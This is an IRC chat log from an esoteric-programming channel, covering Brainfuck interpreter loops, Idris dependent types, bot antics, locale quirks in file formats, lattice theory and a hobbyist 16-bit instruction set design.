11:56:40 <oerjan> SailorR: the loops are usually the most complicated part of implementing brainfuck
11:56:51 <fizzie> Some might prefer a separate class Tape { ... } that does an abstracted tape. (Then you can have a static Tape object, or pass it as a parameter to all calls of code(); either way the data pointer is then part of the tape.)
11:56:55 <fizzie> (A functional language programmer would of course faint dead at the sight of such a mutable tape.)
11:59:06 <oerjan> SailorR: one reason why compiling brainfuck is often easier than interpreting is that you can then hand off the job of matching loops properly to the language you are compiling into.
11:59:53 <SailorR> so this is really some low level exercise?
12:00:00 <SailorR> that you dont see in ordinary programming ?
12:00:37 <oerjan> most ordinary programming languages have loops built in, so...
12:02:41 <oerjan> SailorR: well this scanning for matching ] stuff is not the way you'd implement loops when compiling/interpreting an ordinary programming language. you'd use a real parsing stage. which you can also do for brainfuck, but it's more complicated than the simplest methods.
12:04:04 <oerjan> like, brainfuck is so simple that parsing seems like overkill
12:05:56 <oerjan> otoh parsing lets you have a more efficient implementation, because you can then make an internal representation that stores which []'s match each other
12:06:23 <oerjan> making it quick to jump between them.
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13:37:16 <Taneb> My ethernet is not working
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13:38:07 <Taneb> ais523, after I unplugged my ethernet cable
13:38:38 <Taneb> From my end the @ping and the pong have 42 seconds between them
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13:54:26 <int-e> Taneb: that's sportive
13:55:31 <Taneb> Also it looks like the UK is gonna lose Eurovision again :(
13:56:23 <Taneb> And I have a problem class to go to
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13:58:03 <fizzie> I'm pretty sure Finland's going to lose too.
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17:38:51 <Taneb> I am sad because, as my ethernet is not working, this torrent is going very very slowly
17:39:15 <quintopia> i am sad becuase bastion wouldn't install
17:44:57 <quintopia> i'll figure out how to get it to work eventually
17:45:12 <Taneb> I hope you do, it was a fun game
17:51:38 <ion> taneb: Yeah, it was fun.
17:52:35 <fizzie> "It goes on until it ends," to quote Banks.
17:55:22 <Taneb> Another annoying thing is that the torrent seems to have downloaded episodes 2-5 while my ethernet was working but only half of episode 1
18:02:57 <int-e> well then watch episode 5 first and see if you understand anything of it ;)
18:07:46 <Taneb> I do not think that that is the best idea, int-e
18:08:48 <fizzie> You can watch one half of episode 1 interlaced with one half of episode 2, because watching episode 1.5 like that will round down to episode 1 because of truncation to integers.
18:10:02 <fizzie> "u mad" is I think the expected response?
18:10:20 <oerjan> Gregor``: BOT SHORTAGE
18:10:24 <fungot> fizzie: now i say lo miss eu.dipx dipx where got always bluff me say u sleeping at which room will ask u come here and search for job right
18:10:50 <oerjan> fizzie: that's not what HackEgo would respond to that command, no.
18:14:06 <Slereah_> Is there an internet search engine that takes regexps?
18:14:58 <fizzie> Google code search used to, but only for searching code and not the web in general.
18:15:02 <fizzie> And anyway it was discontinued.
18:15:15 <fizzie> (There was that mildly interesting writeup on how it worked behind the scenes.)
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19:40:18 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms* speeches ss wp youtube
19:40:24 <fungot> Selected style: youtube (Some YouTube comments)
19:40:34 <fungot> FireFly: no your not the only scene from the same
19:44:23 <fizzie> fungot: Try to be more polite, please.
19:44:23 <fungot> fizzie: genious. a++++++++++++++ im still laughing 12 hours later as he was good to see the
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20:19:56 <fizzie> "This article may require cleanup to meet Wikipedia's quality standards. The specific problem is: the style and grammar of most of the article."
20:20:01 <fizzie> The most specific problem.
20:21:27 <fizzie> (It is an accurate assessment, I'm not saying that.)
20:22:11 <oerjan> A grammar of unusual style this is.
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20:23:02 <fizzie> For the record, the article in question was http://en.wikipedia.org/wiki/Lady_in_Black_(song) and it may indeed fall slightly short of the quality standards.
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20:29:11 <oerjan> Lady in Black, is dancing with me, back to back, or am i confusing it with something else.
20:29:46 <fizzie> It's probably not a terribly unique term in music.
20:30:16 * oerjan might not be using enough joke tags.
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20:30:53 <fizzie> If that was a reference to something, I completely missed it.
20:31:30 <oerjan> https://en.wikipedia.org/wiki/The_Lady_in_Red_(Chris_de_Burgh_song)
20:33:24 <fizzie> "20:30:34.373 E [ap_handler_impl.cpp:1693] ChannelError(0, 1, get_wallet)" Spotify's looking for my wallet? That's suspicious.
20:34:21 <fizzie> Fortunately, assuming I read that right, it didn't find it.
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22:43:52 <zzo38> http://esolangs.org/wiki/Big_Man_Computer
22:44:30 <Phantom_Hoover> I need to acquire an eclectic collection of several MP3s by Saturday.
22:44:44 <zzo38> Phantom_Hoover: Do you know which ones?
22:45:13 <Phantom_Hoover> yes but doing it case by case is something i'd like to avoid
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23:09:08 <nooodl> Phantom_Hoover: how many mp3s
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23:30:19 <dalrefugee> probably the best window to oconnect to irc :)
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01:47:20 <zzo38> Is it possible to display white pixels in CGA mode when palette 0 low intensity with background color 0 and border color 0 is selected?
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02:37:26 <zzo38> Is "Big Man Computer" OK?
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03:39:28 <Sgeo> Sadly, not every function of several arguments can be flipped
03:40:39 <lambdabot> <hint>:1:1: parse error on input `:'
03:43:18 <Sgeo> The type of the second argument depends on the value of the first argument
03:43:43 <Sgeo> I think you can't have the dependencies go backwards
03:44:58 <Sgeo> Apparently the type of flip indicates this
03:45:28 <Sgeo> (That it only takes non-dependent functions)
03:46:53 <Bicyclidine> why have the dependency unidirectional? the Int "hello" makes just as little sense as (flip the) "hello" Int
03:46:57 <lambdabot> <hint>:1:1: parse error on input `:'
03:47:11 <Bicyclidine> lol does the underlining mean the dependent type thing
03:47:30 <Sgeo> I thinnk underlining means implicit but the implcit argument not shown?
03:47:39 <Sgeo> lowercase unbound is implicit argument
03:48:23 <Sgeo> Not sure how it displays when the implicit argument is shown
03:48:49 <Sgeo> > {n : Nat} -> a -> Vect n a -> Vect (S n) a
03:48:50 <lambdabot> <hint>:1:1: parse error on input `{'
03:49:10 <Sgeo> > :t {n : Nat} -> a -> Vect n a -> Vect (S n) a
03:49:11 <lambdabot> <hint>:1:1: parse error on input `:'
03:49:30 <Sgeo> > :t with Vect (::)
03:49:31 <lambdabot> <hint>:1:1: parse error on input `:'
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04:17:43 <Melvar> Sgeo: You can only have implicits in top-level types.
04:18:48 <Melvar> > :t \a => (n : Nat) -> a -> Vect n a -> Vect (S n) a
04:18:48 <idris-ircslave> \a => (n : Nat) -> a -> (Vect n a) -> Vect (S n) a : Type -> Type
04:18:49 <lambdabot> <hint>:1:1: parse error on input `:'
04:19:02 <lambdabot> <hint>:1:1: parse error on input `:'
04:20:04 <Sgeo> Do explicit implicit arguments get underlined?
04:20:53 <Bicyclidine> i'm going to pretend you didn't construct that phrase
04:20:55 <Melvar> Sgeo: you can :set showimplicits in the REPL, but the bot will not allow that command. The REPL will then display all implicit bindings, and they will still be underlined.
04:45:58 <quintopia> is there a windows rsync client thing
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06:34:16 <zzo38> For matching a sequence of instructions, do you think this way is OK? http://sprunge.us/adVO
06:34:32 <zzo38> Please tell me anything that you think might be wrong with it.
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09:10:19 <oerjan> that was weird, irssi cycled through every freenode server i have listed + irc.freenode.net, but couldn't connect.
09:10:56 <oerjan> then i did /connect freenode manually, and it immediately reached the normal one.
09:13:51 <oerjan> wait no it got thrown off again, but it happened before i joined the channel so i didn't notice before checking the status window
09:15:55 <oerjan> nope it's even weirder, i'm on two servers, but oerjan_ didn't join this channel.
09:17:01 <oerjan> i didn't know you could connect twice to the same network in a single irssi session.
09:17:10 <oerjan> not that i've ever tried before.
09:17:46 <oerjan> presumably my manual connection got added to the usual one, which resumed cycling through the hosts after a while.
09:18:20 <olsner> if you have several users on the same network, I think the only way to do that is to connect once per user, so it makes sense if it's supported
09:18:30 <olsner> but maybe you consider yourself the same as oerjan_
09:20:14 <oerjan> well he does look eerily similar to me
09:23:03 <oerjan> `learn oerjan_ is oerjan and ørjan's chimæric clone. he shows up on irc when the network is having trouble.
09:35:25 <fizzie> Eerily similar, except for the tail.
09:36:19 <fizzie> I'm imagining something like http://goo.gl/RizR8e
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10:14:12 <fizzie> It has a thing called "label tracks" where you can put point or region labels denoting things on the audio track.
10:14:32 <fizzie> And then it can export this label track in a simple text format; we've used that for a project-thing.
10:15:19 <fizzie> Turns out the time stamps in the text format have '.' or ',' as the decimal separator depending on the current locale.
10:15:53 <fizzie> It's not like it's a problem, it's just so silly.
10:17:45 <ais523> I remember SMBX uses the current locale for floats in NPC description files, meaning that levels suddenly stop working if you give them to someone French
10:18:01 <olsner> it will be a problem if someone uses a different locale... we had some silly software with the same issue and ended up making separate config files for polish computers
10:18:33 <ais523> languages really need to distinguish between functions that output for serialization, and functions that output for human consumption
10:19:27 <olsner> (or more generally, one config for .-locales and one for ,-locales, but iirc it was one specific office that had the "wrong" locale most often)
10:20:55 <ais523> comp.lang.c have been debating this recently, wrt thousands separators
10:22:00 <fizzie> I just had to make my script to parse those label tracks we got (from non-technical users) to accept either; there seems to never be a thousands separator in these.
10:22:53 <fizzie> I'm not sure if the Linux Audacity follows the system locale; mine generates dots but this is en_US; the files we got from a (presumably set to Finnish) Windows system had commas.
10:26:33 <fizzie> There's something peculiar about this (elderly, female) speaker that just makes this forced-alignment system work real badly.
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11:32:02 <boily> `? something-that-isn't-in-hackego's-wisdom
11:32:03 <HackEgo> something-that-isn't-in-hackego's-wisdom? ¯\(°_o)/¯
11:32:23 <boily> I knew it! it's the same face as in this week's what if from xkcd!
11:39:27 <ais523> except that XKCD characters don't have eyes (or noses, or mouths)
11:39:45 <ais523> at least, I guess that's a mouth not a nose, but I'm not sure
11:40:05 <ais523> ``echo It is now. > "wisdom/something-that-isn't-in-hackego's-wisdom"
11:40:06 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `echo: not found
11:40:09 <ais523> `` echo It is now. > "wisdom/something-that-isn't-in-hackego's-wisdom"
11:40:32 <fizzie> ais523: The string "¯\(°_o)/¯" is literally there in the title attribute of an image in what-if.
11:40:57 <fizzie> (How come that got legs and boily didn't?)
11:40:58 <ais523> I didn't realise what-if had alt text too
11:41:07 <ais523> fizzie: myndzi added an ignore for hackego
11:41:22 <ais523> the "not there" face was added specifically to trigger it
11:41:44 <ais523> and so myndzi added anti-botloop protection, as is customary
11:41:59 * boily pokes his own legs, just to be sure of their existence
11:43:57 <ais523> hmm, it's pretty much impossible for me to be sure you have legs: you could claim you have them, but you could be lying; if you send a photo it could be of someone else; if you meet me in person, it could be someone else pretending to be boily
11:45:46 <ais523> come to think of it, I don't even know you're actually one peron
11:46:00 <ais523> there could be a team of people, all taking turns to pretend to be boily
11:46:48 <fizzie> Many people here could well be collectives.
11:47:08 <fizzie> fungot: Are you a single bot, or a collection of bots talking to some kind of a IRC multiplexer?
11:47:08 <fungot> fizzie: lol, the pilot is safe) got by far the biggest selling game of the games where kickass im glad they are doing this song!
11:47:40 <ais523> if you did replace fungot by a multiplexer, it would be hard for us to tell
11:47:41 <fungot> ais523: it is you think its funny when the pilot had it configured for landing
11:47:54 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube*
11:48:08 <ais523> hmm, I guess one of fungot's youtube videos must have been about a plane
11:48:53 <boily> so fungot loves the three airplane parts that compose him.
11:49:11 <boily> fungot: which one? you remember you have two girlfriends, don't you?
11:49:11 <fungot> boily: you racist son of a fool was look up the time it would be so hard).
11:49:35 <boily> fungot: eille! I'm perfectly fine with polyamorous relationships!
11:49:35 <fungot> boily: um, yes, i laughed my ass off at 100 ft, the actual song xd!!
11:49:57 <boily> fungot: 100 ft isn't that high for an airplany being like you...
11:49:57 <fungot> boily: y a quand meme eu 3 mort sur les 130 apssagers.
11:50:31 * boily slinks away from fizzie's murderous bot.
11:51:15 <boily> (translation for the lazy: “there still were three deaths in the 130 passengers.”)
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11:51:33 <fizzie> One of them was a plane crash video, yes.
11:52:10 <ais523> I think we need more videos, really
11:52:22 <ais523> in order to get reasonable (or sufficiently unreasonable) output
11:52:24 <fungot> Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal)
11:52:36 <ais523> let's see if fungot's more varied with this
11:52:36 <fungot> ais523: ptah: known under various names in different parts of ireland: cluricaune in cork, lurican in kerry, lurikeen in kildare and lurigadaun in tipperary. although they were sure of.
11:52:49 <ais523> I guess that's mostly literal
11:53:01 <ais523> fungot: something else?
11:53:02 <fungot> ais523: amber*: " i am aware, yes." " you wouldn't like it much anyway," answered pelias cryptically. " my dear!" said the old melnibonean empire. these large groups are able to look like nothing more than a nymph knows how old this mighty wizard is even more powerful of all nations, by barry cox)
11:53:17 <ais523> yeah, this is too literal :-(
11:53:28 <ais523> might work better with only one word of context, or one and a half
11:53:49 <fizzie> I believe the YouTube style included comments from a total of perhaps 7 videos.
11:54:20 <ais523> not exactly a large corpus
11:54:23 <fizzie> And yes, the NetHack dataset also makes fungot copy a lot verbatim.
11:54:23 <fungot> fizzie: archon: archons are the predominant inhabitants of the spider lay dead beside him.
11:54:36 <fizzie> Though I didn't know archons live in spiders.
11:54:44 <fungot> Selected style: alice (Books by Lewis Carroll)
11:54:54 <oerjan> `echo The string "¯\(°_o)/¯" is
11:55:20 <oerjan> The string "¯\(°_o)/¯" is
11:55:22 <ais523> I guess myndzi's got a general ignore on all the bots
11:55:35 <ais523> good point, why did it not trigger on the /request/
11:55:51 <oerjan> the thing is, iirc myndzi _doesn't_ have an ignore on HackEgo.
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11:56:16 <ais523> maybe he has throttling?
11:56:26 * boily therapeutically, restoratively maintenancically mapoles myndzi
11:56:26 <fizzie> The "alice" style includes http://sprunge.us/JOVK
11:56:31 <ais523> fungot: opinions on this matter?
11:56:31 <fungot> ais523: " i'm strolling your way," said the hatter. he came in with a teacup in one hand and a large fan in the other compartment. if the universe of things be divided with regard to the class of " new cakes", we may call it stuff, if you must know, we used to be taught in the nursery," i echoed. " the fairy-king is fnord, fnord low, that alice quite started.
11:56:39 <oerjan> no, the answer to why he didn't answer HackEgo is more devious
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11:56:57 <ais523> oerjan: do you know it? or have you jut concluded it's devious?
11:56:58 <oerjan> (except that myndzi's script is obviously not working _now_)
11:57:05 <ais523> that looks like he was close to pinging out
11:57:07 <oerjan> well i made it, so i know :P
11:57:18 <oerjan> `echo The string "¯\(°_o)/¯" is
11:57:23 <ais523> he hasn't answered fungot either, though
11:57:24 <fungot> ais523: 4. no m' are y', and some are not-x. the lion were coming. and he shortened it up?" said bruno. " and he lets uggug take away all my fnord! and proud am i to do with you.
11:57:48 <oerjan> as you see, he responded to HackEgo there
11:58:09 <ais523> ^ul (¯\(°_o)/¯ padding)S
11:58:20 <ais523> OK, I think that explains it pretty well
11:58:38 <HackEgo> to fnordly test? ¯\(°_o)/¯
11:58:39 <fizzie> else echo "$1? ¯\(°<U+200B>_o)/¯"; exit 1;
11:59:24 <ais523> hmm, need to be careful who I copy-paste
12:00:30 <fizzie> oerjan: Thor, perhaps?
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12:07:25 <oerjan> fizzie: more like Loki
12:09:45 <oerjan> they've been doing this bloody building work since mid November.
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12:11:51 <oerjan> although i'm not sure it's still the same team as then, i cannot see them outside now.
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12:12:17 <oerjan> so maybe the sound is coming from inside the house.
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12:12:59 <fizzie> The KILLER may already be IN THE HOUSE.
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14:49:08 <Phantom_Hoover> MEANWHILE IN /R/BITCOIN: http://www.reddit.com/r/Bitcoin/comments/1zm1v5/today_i_logged_onto_my_computer_and_found_none_of/
14:51:12 <Phantom_Hoover> oh holy shit this one's even better: http://www.reddit.com/r/Bitcoin/comments/1zlhh5/until_recently_my_only_serious_experience_with/
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15:21:26 <tromp_> is this #bitcoin-gossip now :-?
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15:41:20 <Phantom_Hoover> tromp_, no it's just that making fun of bitcoiners is great fun
15:42:24 <tromp_> does owning 0.00004971 BTC make me a bitcoiner:-?
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16:35:09 <elliott> many people with lots of bitcoins make fun of bitcoiners, too
16:38:31 <ais523> I was surprised at learning how many bitcoins were stored in bitcoin bank-equivalents to be stolen, in the first place
16:39:26 <ais523> like, the reason people store their money in banks is for a chance at interest (admittedly not so high nowadays), and (in the UK) for ISA limits
16:40:11 <elliott> and because a bank is safer than storing it in your house.
16:40:26 <elliott> also because piles of gold take up a lot of space
16:40:32 <elliott> (here I assume that you support the gold standard if you want to do this)
16:41:31 <ais523> I'm not sure if either of the last two theories apply to bitcoins
16:41:51 <elliott> well, the blockchain takes up a very annoying amount of disk space and it takes a long time to download
16:42:19 <ais523> but you don't need the blockchain to make transactions
16:42:20 <elliott> and there might be a lot of crappy services that host bitcoin wallets, but personal computers are rarely very secure at all...
16:42:32 <ais523> you need it to verify how much money a given person has
16:42:55 <elliott> I just mean it's not as "simple" as downloading bitcoin-qt or whatever
16:43:01 <elliott> but admittedly there are all the alternative clients now.
16:43:14 <elliott> anyway, how many people have computers that even have disk encryption?
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17:02:32 <Vorpal> fizzie, nice "macroSD"
17:03:06 <Vorpal> fizzie, wish you could get larger depth of field in it though. :/
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18:21:01 <fizzie> Vorpal: I could do focus stacking with enfuse, I guess.
18:24:57 <fizzie> Also managed to finally write up what I found when I reverse-engineered the firmware in my VDSL2 modem back in Dec 2011, which was probably really useful to do *now*, given that I'm pretty sure they've discontinued the model already.
18:28:04 <Vorpal> fizzie, found anything interesting?
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18:30:03 <fizzie> Depends on the definition. I did find the hardcoded user:pass pairs for its telnet interface, which was what I was after.
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19:08:56 <Taneb> shachaf, someone asked me what a complete lattice was and I panicked until I suddenly remembered the training you gave me
19:10:28 <Taneb> At the very least you told me what a complete lattice was
19:11:32 <shachaf> one that has all small limits, obviously
19:12:31 <ais523> isn't the definition of a lattice that it has all infima and suprema?
19:12:36 <oerjan> wait, just small ones?
19:13:03 <oerjan> also that you only need either infima or suprema, they're equivalent conditions
19:14:15 <ais523> oerjan: huh? a semilattice has one but not the other
19:14:32 <oerjan> well it has to be a lattice to start with
19:14:53 <ais523> oh gah, there are four different mathematical objects called lattices
19:15:21 <oerjan> is there's more than one that's a kind of partial order?
19:15:48 <oerjan> a lattice has infs and sups of pairs, and thus all finite ones.
19:15:49 <ais523> oerjan: ah right, so the definition of an ordinary lattice can take the infimum or supremum of two objects, a complete lattice can consistently take it of more than two
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19:16:21 <oerjan> well finite follows from two.
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19:17:27 <ais523> oerjan: ah right, meet and join have to be associative and commutative
19:17:40 <ais523> I'm crazy enough that I was considering a lattice-like structure where they weren't
19:18:31 <ais523> oh, incidentally, esolangs meet "proper" research: writing up my PhD thesis, my major goal right now (in fact, one of the major results) is to do with Anarchy's type system, in the absence of recursion
19:18:52 <oerjan> well it follows automatically if they're meet and join defined from actual partial orders.
19:19:41 <oerjan> so did you prove it TC
19:20:22 * oerjan guesses it wouldn't be, but couldn't resist joking
19:21:30 <ais523> oerjan: actually one major result is that it isn't, in the absence of recursion
19:21:42 <ais523> /really/ major, in that it can trivially be used to prove typed lambda calculus sub-TC
19:21:51 <ais523> which is an existing result, but one that it's nice to be able to easily replicate
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19:23:55 <oerjan> well that analogy is why i guessed it wouldn't be TC
19:25:09 <oerjan> like with any of simple types/hindley-milner/system F, you need explicit recursion to make it TC
19:26:53 <oerjan> and many even stronger type systems are terminating without recursion afaiu
19:30:39 <ais523> Anarchy the language does have recursion, though, which probably makes it undecidable to compile
19:30:59 <ais523> I may put restrictions on it to make the type system decidable, especially as its purpose as a language doesn't need TCness and would benefit from totality
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19:39:16 <oerjan> hm the buggy behavior of IE's tab grouping just got weirder
19:39:54 <oerjan> i now have a purple tab between two dark blue ones, all of which started out as the same group
19:40:39 <oerjan> normally, when i drag a tab in between two in the same group, it gets joined to them.
19:41:30 <oerjan> but presumably somehow it thinks both that it already is in their group and doesn't need to be joined, and that it isn't and therefore gets a different color.
19:43:07 <zzo38> Can you tell me if my program is OK?
19:43:07 <oerjan> managed to fix it by removing another one of them from the group, then reinserting it, then permuting wildly until all got the same color again.
19:45:43 <oerjan> hm as i close all but one tab of the group, a bug remains: the tab doesn't lose its color like normal.
19:46:28 <oerjan> might wonder wtf they did to get this behavior. i have a hunch about broken linked lists.
19:48:24 <ais523> I'd find it hard to believe that Microsoft don't have a standardised internal library for list linking
19:49:02 <HackEgo> [U+0059 LATIN CAPITAL LETTER Y] [U+0070 LATIN SMALL LETTER P] [U+006E LATIN SMALL LETTER N] [U+0079 LATIN SMALL LETTER Y] [U+0070 LATIN SMALL LETTER P] [U+006E LATIN SMALL LETTER N]
19:49:44 <oerjan> hm i guess they weren't as cyrillic as they seemed in recent changes
19:50:38 <ais523> that isn't particularly pronounceable in cyrillic either, is it?
19:51:04 <oerjan> urpurp isn't so bad...
19:51:36 <ais523> oh, cyrillic n is pronounced "p"? didn't know that one
19:51:45 <ais523> I guess "urnurn" isn't bad either
19:53:00 <oerjan> also, cyrillic "italic" is weird.
19:53:34 <oerjan> enough so that i get annoyed when something cyrillic gets accidentally italicized, because i cannot transcribe it
19:55:58 <oerjan> which happens in google translate if i try to write something russian with latin letters - it'll guess what cyrillic letters i mean, but it shows them italicized so it's not obvious to me if it's guessed correctly.
19:56:09 <oerjan> not that i do this often, anyway
19:59:58 <oerjan> actually tried to test it now and it switches randomly between suggestions in cyrillic, italic cyrillic and latin
20:07:47 <zzo38> If making a instruction set with some general purpose registers, if you have a [R++] and [--R] addressing mode, if some of these "general purpose" registers also includes the program counter and stack pointer then you don't need a immediate addressing mode, and you don't need more modes for stack either.
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20:20:41 <Vorpal> Huh, just found out Chrome OS uses portage from Gentoo for package management. Probably old news to everybody else.
20:27:51 <fizzie> Can you install Chrome OS on anywhere, or is it just for Chromebooks and such?
20:28:12 <fizzie> Oh, there's a similar Chrome OS / Chromium OS thing going on? I guess that makes sense.
20:29:22 <fizzie> (Just for the terminology, maybe they should set up a separate company called Googlium to do all things related to the open-source efforts.)
20:29:25 <ion> http://www.chord.co.uk/blog/new-chord-ethernet-cables/
20:30:52 <fizzie> Wow, a directional Ethernet cable.
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21:11:13 <zzo38> Can you tell me if my pattern matching instructions program looks like OK to you? http://sprunge.us/adVO Or if, you thikn I did something wrong?
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21:46:01 <Taneb> Do we have a dicebot
21:46:47 <Taneb> lambdabot, thank you lambdabot
21:47:14 <int-e> wait, that has a contextual match?
21:48:03 <int-e> I'm surprised that I have not seen this trigger accidentally.
21:48:27 <zzo38> You could also use the dice function built-in to FurryScript.
21:48:36 <zzo38> Which may be somewhat more sophisticated.
21:48:53 <int-e> 3d1 + 3d2 + 3d3 + 3d4
21:48:53 <lambdabot> int-e: (1+1+1) + (2+1+1) + (1+2+2) + (2+3+4) => 21
21:49:36 <zzo38> Documentation is at: http://esolangs.org/wiki/User:Zzo38/FurryScript#Dice
21:52:45 <zzo38> I don't think it is installed on HackEgo, but if it has PHP then you can.
21:54:19 <zzo38> (Or else to rewrite it in C and make it go faster)
21:58:40 <zzo38> It doesn't seem to have PHP, or even SQLite.
22:02:05 <zzo38> You should install SQL on there
22:02:32 <HackEgo> Usage: java [-options] class [args...] \ (to execute a class) \ or java [-options] -jar jarfile [args...] \ (to execute a jar file) \ where options include: \ -d32 use a 32-bit data model if available \ -d64 use a 64-bit data model if available \ -server to select the "server" VM \ -jamvm to select
22:02:44 <int-e> ok. it has that. I agree then :P
22:02:53 <zzo38> O, so they do have Java
22:04:10 <zzo38> But they should install other things too such as SQLite
22:04:44 <zzo38> And PHP (which isn't actually very good, but since there are some program written in PHP, you should install it so that you can use programs which are written in PHP).
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22:58:42 <itsy> https://twitter.com/john_metcalf/status/441346697038270464 :-)
23:07:09 <HackEgo> ` \ ^.^ \ ̊ \ ? \ ¿ \ @ \ ؟ \ ＷＥＬＣＯＭＥ \ \ \ aaaaaaaaa \ addquote \ addwep \ allquotes \ anonlog \ as86 \ aseen \ bienvenido \ botsnack \ bseen \ buttsnack \ calc \ CaT \ catcat \ cats \ cdecl \ c++decl \ chroot \ coins \ complain \ complaints \ danddreclist \ define \ delquote \ delvs \ dis86 \ e \ echo \ echo \ ello \
23:07:16 <lambdabot> unexpected end of input: expecting number, "d" or "("
23:11:24 <zzo38> You should tell Gregor to install PHP and SQLite.
23:11:56 <HackEgo> ＷＥＬＣＯＭＥ ＴＯ ＴＨＥ ＩＮＴＥＲＮＡＴＩＯＮＡＬ ＨＵＢ ＦＯＲ ＥＳＯＴＥＲＩＣ ＰＲＯＧＲＡＭＭＩＮＧ ＬＡＮＧＵＡＧＥ ＤＥＳＩＧＮ ＡＮＤ ＤＥＰＬＯＹＭＥＮＴ！ ＦＯＲ ＭＯＲＥ ＩＮＦＯＲＭＡＴＩＯＮ， ＣＨＥ
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01:07:24 <Sgeo> Huh, idris-ircslave is still here
01:11:36 <zzo38> Is it supposed to be?
01:12:06 <Sgeo> I don't know, but I'm surprised, since I thought oerjan was getting annoyed
01:13:15 <zzo38> oerjan can program their computer to hide those messages if they are getting annoyed
01:19:20 <zzo38> Can we still find compilers for the programming languages mentioned in http://esolangs.org/wiki/Prehistory_of_esoteric_programming_languages ?
01:20:11 <Sgeo> P'' is trivial to write a P''->BF compiler for, apparently
01:20:30 <zzo38> Yes, I know that one
01:20:33 <Sgeo> ....APL is considedred an esolang?
01:20:38 <Sgeo> Pretty sure it's still alive today
01:20:57 <zzo38> I mean EXPLOR and TRAC and TMG and that stuff
01:21:14 <zzo38> And the Bell Labs Low Level Linked List Language
01:24:59 <zzo38> Although you are correct probably APL is still used today.
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02:13:38 <Sgeo> kmc... isn't here
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04:11:03 <Sgeo> http://o.onionstatic.com/images/25/25447/original/700.jpg?9613
04:11:19 <Sgeo> Huh, no crying Statue of Liberty. How unusual
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04:44:57 <zzo38> The two cards which can beat a 59eye1Mewtwo deck have many things in common: Both are level fifteen, both are weak to fire and resisted to nothing, both cards can evolve into two further stages...
04:47:15 <zzo38> As far as I can tell they are the only two cards in PokemonCardGB2 which will beat it.
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05:06:10 <shachaf> one card can beat an entire deck?
05:06:51 <zzo38> Yes, although this "entire deck" is just one card and the rest are energy.
05:07:04 <zzo38> Same thing with the deck consisting of the other card; it has to be one card and the rest are energy.
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05:16:28 <quintopia> zzo38: you mean that deck can beat any deck that isn't one of those two cards plus energy?
05:25:09 <zzo38> quintopia: No, that isn't what I mean.
05:25:21 <zzo38> In most cases one or the other might win.
05:25:59 <Bike> the deck being beaten is the one with only a card plus energy.
05:26:39 <zzo38> Both decks consist of just one non-basic-energy card.
05:27:54 <zzo38> For my report, so that you can see what I mean, see: http://zzo38computer.org/textfile/miscellaneous/pokemon_card/59eye1mewtwo.txt
05:29:50 <zzo38> The only reason it is "ridiculously broken" is because most people still play Constructed.
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05:39:31 <zzo38> Maybe you know of other cards which can?
05:39:45 <zzo38> Or, cards which beat the deck which beats that one?
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05:49:25 <zzo38> Let's see which card can beat BULBASAUR [Lv15] but that MEWTWO [Lv53] beats it.
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06:19:11 <zzo38> I found no card which satisfies these conditions.
06:27:53 <Sgeo> How urgent is it for me to replace the idris bot with one that doesn't collide with lambdabot?
06:29:51 <Bike> more important than your life.
06:30:27 <zzo38> You can disable the function that collides with lambdabot
06:30:55 <zzo38> You can make it if send a message by private or starting with its name and a colon, it will activate, unless the message is a NOTICE.
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08:39:06 <zzo38> I made up 16-bits instruction set today. It has eight addressing modes: R [R] [R++] [--R] [R+I] [R+[I]] [[R]+I] [[R]+[I]]
08:39:31 <zzo38> It also has eight registers; the stack pointer and program counter are also considered general-purpose registers.
08:41:54 <zzo38> It has thirty "2OP" instructions, sixteen "1OP" instructions, and one "0OP" instruction. 2OPs are: LEA MOV MZS MZC MCS MCC MNS MNC ADD ADC SUB SBC AND IOR XOR ANN CMP MSK LDI STI LLO LHO SLO SHO DAD DAC DSB DSC SHD AAB. 1OPs are: LSH LSC RSH RSC INC DEC LFL SFL SIA ASR SIS REV PMI DBN BZE BNZ. 0OPs are: FLG.
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09:07:33 <zzo38> Do you know of any other instructions sets where there isn't a normal uncondition branch instruction and you use something like MOV P,[P++] instead?
09:12:07 <olsner> ARM can do things like that (for example returning can be done as pop pc), but it also has "normal" branch instructions
09:12:39 <zzo38> Why do you need normal branch instructions if it has that?
09:12:44 <oerjan> Sgeo: sometimes i'm more patient than i expect. sometimes less.
09:14:11 <olsner> because they are shorter - 32 bits of instruction has at least ~20 bits over for an offset, so you use those when you can and only resort to the indirect jumps when you must
09:14:27 <olsner> e.g. when the program is larger than n MB, or linked in such a way that you don't know where the called code might be
09:15:00 <zzo38> O, so that's how it works, it makes sense.
09:15:25 <zzo38> However, my instruction set is using 16-bit instructions
09:18:49 <olsner> mov p,[p++] is arguably just a funny way of writing the jmp imm16 instruction
09:21:00 <zzo38> I suppose so, although I encode it like that.
09:24:55 <oerjan> it would probably be inefficient if it's _not_ special cased internally.
09:28:42 <zzo38> It could be special cased internally if you want to
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09:35:56 <lifthrasiir> zzo38: any concrete docs about them? some are obvious, but some are obscure. (e.g. for conditions, what's difference between ZS and ZC? zero and signed????)
09:36:39 <ion> https://scontent-b-fra.xx.fbcdn.net/hphotos-prn1/t1/1959904_10152640836783356_1654381488_n.jpg | http://translate.google.com/translate?sl=auto&tl=en&js=n&prev=_t&ie=UTF-8&u=http%3A%2F%2Fwww.iltasanomat.fi%2Fkotimaa%2Fart-1288661885235.html&act=url
09:39:39 <oerjan> that guy looks ready to kill
09:41:08 <oerjan> ion: i managed to read that as "War promoted by the new commander" on first glance
09:41:52 <oerjan> not one of google's best moments, in any case
09:42:21 <ion> To my knowledge, no good machine translation from Finnish to English exists on the planet.
09:43:04 <ion> But that one gives enough context for the photoshop.
09:43:57 <oerjan> oh i didn't notice the pictures were different
09:44:25 <oerjan> i assume it's some fps game?
09:46:20 <ion> http://stargate.wikia.com/wiki/Jonathan_J._O'Neill
10:00:45 <zzo38> lifthrasiir: Yes I do have some documentation, but it is incomplete. MZS means move if zero flag set, MZC means move if zero flag is clear.
10:03:01 <lifthrasiir> aha, so there are zero/carry/negative flags and consequently six conditional moves.
10:07:15 <zzo38> Note about addressing modes: Each 2OP has two operands, and no more than one operand can have an addressing mode other than R.
